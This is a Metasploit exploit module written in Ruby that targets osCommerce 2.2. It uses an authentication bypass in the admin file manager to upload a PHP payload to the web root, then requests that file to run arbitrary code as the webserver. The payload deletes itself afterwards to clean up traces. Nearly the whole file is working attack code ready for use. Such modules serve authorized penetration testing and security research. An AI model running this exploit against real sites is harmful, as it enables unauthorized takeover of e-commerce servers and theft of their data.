metasploit-framework/modules/exploits/unix/webapp/oscommerce_filemanager.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'osCommerce 2.2 Arbitrary PHP Code Execution',
'Description' => %q{
osCommerce is a popular open source E-Commerce application.
The admin console contains a file management utility that
allows administrators to upload, download, and edit files.
This could be abused to allow unauthenticated attackers to
execute arbitrary code with the permissions of the
webserver.
},
'Author' => [ 'egypt' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [
[ 'OSVDB', '60018' ],
[ 'URL', 'http://www.milw0rm.com/exploits/9556' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'Space' => 4000, # max url length for some old
# versions of apache according to
# http://www.boutell.com/newfaq/misc/urllength.html
'DisableNops' => true,
#'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
'Compat' =>
{
'ConnectionType' => 'find',
},
# Since our payload is uploaded as a file, it is polite to
# clean up after ourselves.
'Prepend' => "unlink(__FILE__);",
'Keys' => ['php'],
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('URI', [ true, "Base osCommerce directory path", '/catalog/']),
], self.class)
end
def exploit
# Our filename gets run through basename(), so we can have arbitrary
# junk in front of slashes and it will get stripped out. The unlink in
# Payload => Prepend above ensures that the file is deleted.
filename = rand_text_alphanumeric(rand(5)+5) + "/"
(rand(5)+5).times do
filename << rand_text_alphanumeric(rand(5)+5) + "/"
end
filename << rand_text_alphanumeric(rand(5)+5) + ".php"
p = rand_text_english(rand(100)+100) + "<?php " + payload.encoded + " ?>" + rand_text_english(rand(100)+100)
p = Rex::Text.uri_encode(p)
data = "filename=#{filename}&file_contents=#{p}"
print_status("Sending file save request")
response = send_request_raw({
'uri' => datastore['URI'] + "admin/file_manager.php/login.php?action=save",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => data.length,
}
}, 3)
# If the upload worked, the server tries to redirect us to some info
# about the file we just saved
if response and response.code != 302
print_error("Server returned non-302 status code (#{response.code})")
end
print_status("Requesting our payload")
# very short timeout because the request may never return if we're
# sending a socket payload
timeout = 0.1
response = send_request_raw({
# Allow findsock payloads to work
'global' => true,
'uri' => datastore['URI'] + File.basename(filename)
}, timeout)
handler
end
end